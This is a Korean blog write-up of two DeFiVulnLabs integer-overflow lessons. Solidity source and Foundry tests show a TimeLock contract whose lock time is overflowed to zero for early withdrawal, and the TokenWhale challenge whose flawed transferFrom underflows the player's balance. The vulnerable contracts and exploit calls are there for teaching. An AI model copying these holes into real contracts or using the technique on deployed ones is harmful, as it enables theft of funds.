새소식

인기 검색어

Web3/BlockChain

[BlockChain] DeFiVulnLabs - Integer overflow

  • -
반응형

Source Code

// SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "forge-std/Test.sol"; // This contract is designed to act as a time vault. // User can deposit into this contract but cannot withdraw for atleast a week. // User can also extend the wait time beyond the 1 week waiting period. /* 1. Alice and bob both have 1 Ether balance 2. Deploy TimeLock Contract 3. Alice and bob both deposit 1 Ether to TimeLock, they need to wait 1 week to unlock Ether 4. Bob caused an overflow on his lockTime 5, Alice can't withdraw 1 Ether, because the lock time not expired. 6. Bob can withdraw 1 Ether, because the lockTime is overflow to 0 What happened? Attack caused the TimeLock.lockTime to overflow, and was able to withdraw before the 1 week waiting period. */ contract TimeLock { mapping(address => uint) public balances; mapping(address => uint) public lockTime; function deposit() external payable { balances[msg.sender] += msg.value; lockTime[msg.sender] = block.timestamp + 1 weeks; } function increaseLockTime(uint _secondsToIncrease) public { lockTime[msg.sender] += _secondsToIncrease; // vulnerable } function withdraw() public { require(balances[msg.sender] > 0, "Insufficient funds"); require(block.timestamp > lockTime[msg.sender], "Lock time not expired"); uint amount = balances[msg.sender]; balances[msg.sender] = 0; (bool sent, ) = msg.sender.call{value: amount}(""); require(sent, "Failed to send Ether"); } } contract ContractTest is Test { TimeLock TimeLockContract; address alice; address bob; function setUp() public { TimeLockContract = new TimeLock(); alice = vm.addr(1); bob = vm.addr(2); vm.deal(alice, 1 ether); vm.deal(bob, 1 ether); } function testFailOverflow() public { console.log("Alice balance", alice.balance); console.log("Bob balance", bob.balance); console.log("Alice deposit 1 Ether..."); vm.prank(alice); TimeLockContract.deposit{value: 1 ether}(); console.log("Alice balance", alice.balance); console.log("Bob deposit 1 Ether..."); vm.startPrank(bob); TimeLockContract.deposit{value: 1 ether}(); console.log("Bob balance", bob.balance); // exploit here TimeLockContract.increaseLockTime( type(uint).max + 1 - TimeLockContract.lockTime(bob) ); console.log("Bob will successfully to withdraw, because the lock time is overflowed"); TimeLockContract.withdraw(); console.log("Bob balance", bob.balance); vm.stopPrank(); vm.prank(alice); console.log("Alice will fail to withdraw, because the lock time not expired"); TimeLockContract.withdraw(); // expect revert } }

코드 test결과이다.

Alice 잔액 하고 Bob 잔액하고 1 ether인데 Bob은 출금에 성공하였고 Alice는 실패하였다.

Trace를 분석해보자.

Alice address = 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf

bob address = 0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF

Alice가 deposit 1 ether를 했을 때: lockTime = block.timestamp + 1 weeks = 604801

Bob이 deposit 1 ether를 했을 때: lockTime = block.timestamp + 1 weeks = 604801(같은 블록이라 block.tiemstamp가 같음)

 

increaseLockTime() = type(uint).max = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff(32byte)

type(uint).max + 1 = 0 -> overflow 발생

결국 bob.lockTime = 0 따라서 withdraw require문 통과

 

function increaseLockTime(uint _secondsToIncrease) public { lockTime[msg.sender] += _secondsToIncrease; }
TimeLockContract.increaseLockTime( type(uint).max + 1 - TimeLockContract.lockTime(bob) );

Source Code

// SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "forge-std/Test.sol"; contract ContractTest is Test { TokenWhaleChallenge TokenWhaleChallengeContract; function testOverflow2() public { address alice = vm.addr(1); address bob = vm.addr(2); TokenWhaleChallengeContract = new TokenWhaleChallenge(); TokenWhaleChallengeContract.TokenWhaleDeploy(address(this)); console.log("Player balance:",TokenWhaleChallengeContract.balanceOf(address(this))); TokenWhaleChallengeContract.transfer(address(alice),800); vm.prank(alice); TokenWhaleChallengeContract.approve(address(this),1000); TokenWhaleChallengeContract.transferFrom(address(alice),address(bob),500); //exploit here console.log("Exploit completed, balance overflowed"); console.log("Player balance:",TokenWhaleChallengeContract.balanceOf(address(this))); } receive() payable external{} } contract TokenWhaleChallenge { address player; uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; string public name = "Simple ERC20 Token"; string public symbol = "SET"; uint8 public decimals = 18; function TokenWhaleDeploy(address _player) public { player = _player; totalSupply = 1000; balanceOf[player] = 1000; } function isComplete() public view returns (bool) { return balanceOf[player] >= 1000000; } event Transfer(address indexed from, address indexed to, uint256 value); function _transfer(address to, uint256 value) internal { balanceOf[msg.sender] -= value; balanceOf[to] += value; emit Transfer(msg.sender, to, value); } function transfer(address to, uint256 value) public { require(balanceOf[msg.sender] >= value); require(balanceOf[to] + value >= balanceOf[to]); _transfer(to, value); } event Approval(address indexed owner, address indexed spender, uint256 value); function approve(address spender, uint256 value) public { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); } function transferFrom(address from, address to, uint256 value) public { require(balanceOf[from] >= value); require(balanceOf[to] + value >= balanceOf[to]); require(allowance[from][msg.sender] >= value); allowance[from][msg.sender] -= value; _transfer(to, value); } }

코드 test결과이다.

Player balance가 1000에115792089237316195423570985008687907853269984665640564039457584007913129639636으로 바뀌었다.

Trace를 분석해 보자

Player address: 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496

Alice address: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf

Bob address: 0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF

transfer(address(alice) 800)의 결과가 msg.sender에서 address(alice)에 800을 전송

approve(address(this), 1000)의 결과가 alice가 player에게 1000을 승인

transferFrom(address(alice), address(bob), 500)의 결과가 player에서 bob로 500을 전송

 

player.balance: 1000 -> alice에게 800 전송 -> 200 -> bob로 500 전송 : -300 underflow발생

그래서 115792089237316195423570985008687907853269984665640564039457584007913129639636으로 잔액 증가

 

function _transfer(address to, uint256 value) internal { balanceOf[msg.sender] -= value; balanceOf[to] += value; emit Transfer(msg.sender, to, value); }
TokenWhaleChallengeContract.transferFrom(address(alice),address(bob),500);

 

반응형

포스팅 주소를 복사했습니다

이 글이 도움이 되었다면 공감 부탁드립니다.